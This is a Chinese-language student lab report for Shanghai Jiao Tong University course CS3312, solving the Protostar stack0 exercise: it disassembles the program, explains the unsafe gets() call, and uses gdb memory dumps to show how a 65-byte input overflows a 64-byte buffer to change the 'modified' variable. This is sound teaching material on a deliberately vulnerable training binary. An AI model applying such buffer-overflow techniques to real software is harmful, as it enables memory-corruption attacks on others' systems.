上海交通大学
SHANGHAI JIAO TONG UNIVERSITY

CS3312 Lab Stack0

学号：522031910439　姓名：梁俊轩

2025 年 3 月 12 日

1　代码逻辑分析

首先运行一次程序，可以遇到以下结果：

```
root@protostar:/opt/protostar/bin# ./stack0
asdasdad
Try again?
root@protostar:/opt/protostar/bin#
```

图 1　运行结果

想要程序能够绕到另外一个结果，需要对源码进行分析。

通过 `ojbdump -C stack0` 这个指令来检查汇编代码，发现这段程序比较简单，仅由 main 函数组成，因此我们可以用`disassemble main`来反汇编，同时用`set disassembly-flavor intel`转成 intel 格式：

```
0x080483f4 <main+0>:push   ebp
0x080483f5 <main+1>:mov    ebp,esp
0x080483f7 <main+3>:and    esp,0xfffffff0
0x080483fa <main+6>:sub    esp,0x60
0x080483fd <main+9>:mov    DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>:lea    eax,[esp+0x1c]
0x08048409 <main+21>:mov    DWORD PTR [esp],eax
0x0804840c <main+24>:call   0x804830c <gets@plt>
0x08048411 <main+29>:mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>:test   eax,eax
0x08048417 <main+35>:je     0x8048427 <main+51>
0x08048419 <main+37>:mov    DWORD PTR [esp],0x8048500
0x08048420 <main+44>:call   0x804832c <puts@plt>
0x08048425 <main+49>:jmp    0x8048433 <main+63>
0x08048427 <main+51>:mov    DWORD PTR [esp],0x8048529
0x0804842e <main+58>:call   0x804832c <puts@plt>
0x08048433 <main+63>:leave
0x08048434 <main+64>:ret
```

在 Protostar 官网可以看到 stack0 的 C 语言源代码：

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
```

```
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}
```

在上述程序中，使用 gets() 函数将输入加载到缓冲区中。在正常输入（无任何意外情况下）时，由于 modified 始终为 0，因此只会输出”Try again?“而不会跳转到另外一个分支。

2 漏洞分析

```
0x080483fd <main+9>:mov    DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>:lea    eax,[esp+0x1c]
0x08048409 <main+21>:mov    DWORD PTR [esp],eax
```

对 main 函数中这段汇编代码进行分析，首先会在栈上开辟一个 0x60 字节的空间，然后在 esp 下方 0x5c 处分配 modified，并赋值为 0，接着在 esp 下方 0x1c 处分配 buffer。

buffer 和 modified 是紧邻的，同时 gets() 不是一个安全的函数，当输入的字符串长度超过 64 字节时，字符串会溢出 buffer 所分配的空间，因此我们可以利用它来覆盖存储“modified”变量的内存区域。

将断点打在`gets()`执行之前以及执行之后，来观察如何被修改。

```
(gdb) b *0x0804840c
Breakpoint 1 at 0x804840c: file stack0/stack0.c, line 11.
(gdb) b *0x08048411
Breakpoint 2 at 0x8048411: file stack0/stack0.c, line 13.
(gdb)
```

图 2 打断点

将”AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII JJJJKKKKLLLLMMMMNNNNOOOOPPPPQ”作为输入来执行程序，执行到第一个断点用`x/24wx $esp`来查看从 esp 这个栈顶指针开始，24 个 word 之后的内容：

```
(gdb) x/24wx $esp
0xbffffc60:     0xbffffc7c      0x00000001      0xb7fff8f8      0xb7f0186e
0xbffffc70:     0xb7fd7ff4      0xb7ec6165      0xbffffc88      0xb7eada75
0xbffffc80:     0xb7fd7ff4      0x08049620      0xbffffc98      0x080482e8
0xbffffc90:     0xb7ff1040      0x08049620      0xbffffcc8      0x08048469
0xbffffca0:     0xb7fd8304      0xb7fd7ff4      0x08048450      0xbffffcc8
0xbffffcb0:     0xb7ec6365      0xb7ff1040      0x0804845b      0x00000000
```

图 3 第一个断点时栈的内容

此时尚未执行`gets()`，因此还未修改里面的内容，让程序往后执行：

```
(gdb) c
Continuing.

Breakpoint 2, main (argc=1, argv=0xbffffd74) at stack0/stack0.c:13
13      in stack0/stack0.c
(gdb) x/24wx $esp
0xbffffc60:     0xbffffc7c      0x00000001      0xb7fff8f8      0xb7f0186e
0xbffffc70:     0xb7fd7ff4      0xb7ec6165      0xbffffc88      0x41414141
0xbffffc80:     0x42424242      0x43434343      0x44444444      0x45454545
0xbffffc90:     0x46464646      0x47474747      0x48484848      0x49494949
0xbffffca0:     0x4a4a4a4a      0x4b4b4b4b      0x4c4c4c4c      0x4d4d4d4d
0xbffffcb0:     0x4e4e4e4e      0x4f4f4f4f      0x50505050      0x00000051
```

图 4 第二个断点时栈的内容

[esp+0x5c] 存储的是‘modified’的内容，对应的地址为 0xbffffcbc，正好被输入中的 Q 所覆盖，此时’modified’ 中的内容为 Q，不为 0，因此能够输出 you have changed the ’modified’ variable。

```
(gdb) c
Continuing.
you have changed the 'modified' variable
```

图 5 最终结果

将”AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII JJJJKKKKLLLLMMMMNNNNOOOOPPPP”作为输入来执行程序,这时输入刚好为 64 字节,可以看到此时输出并没有溢出到’modified’,因此’modified’中的内容为 0，输出 Try again?:

```
(gdb) r < exp.txt
Starting program: /opt/protostar/bin/stack0 < exp.txt

Breakpoint 1, 0x0804840c in main (argc=1, argv=0xbffffd74) at stack0/stack0.c:11
11      stack0/stack0.c: No such file or directory.
        in stack0/stack0.c
(gdb) x/24wx $esp
0xbffffc60:     0xbffffc7c      0x00000001      0xb7fff8f8      0xb7f0186e
0xbffffc70:     0xb7fd7ff4      0xb7ec6165      0xbffffc88      0xb7eada75
0xbffffc80:     0xb7fd7ff4      0x08049620      0xbffffc98      0x080482e8
0xbffffc90:     0xb7ff1040      0x08049620      0xbffffcc8      0x08048469
0xbffffca0:     0xb7fd8304      0xb7fd7ff4      0x08048450      0xbffffcc8
0xbffffcb0:     0xb7ec6365      0xb7ff1040      0x0804845b      0x00000000
(gdb) c
Continuing.

Breakpoint 2, main (argc=1, argv=0xbffffd74) at stack0/stack0.c:13
13      in stack0/stack0.c
(gdb) x/24wx $esp
0xbffffc60:     0xbffffc7c      0x00000001      0xb7fff8f8      0xb7f0186e
0xbffffc70:     0xb7fd7ff4      0xb7ec6165      0xbffffc88      0x41414141
0xbffffc80:     0x42424242      0x43434343      0x44444444      0x45454545
0xbffffc90:     0x46464646      0x47474747      0x48484848      0x49494949
0xbffffca0:     0x4a4a4a4a      0x4b4b4b4b      0x4c4c4c4c      0x4d4d4d4d
0xbffffcb0:     0x4e4e4e4e      0x4f4f4f4f      0x50505050      0x00000000
(gdb) c
Continuing.
Try again?

Program exited with code 013.
(gdb)
```

图 6 更改后的内容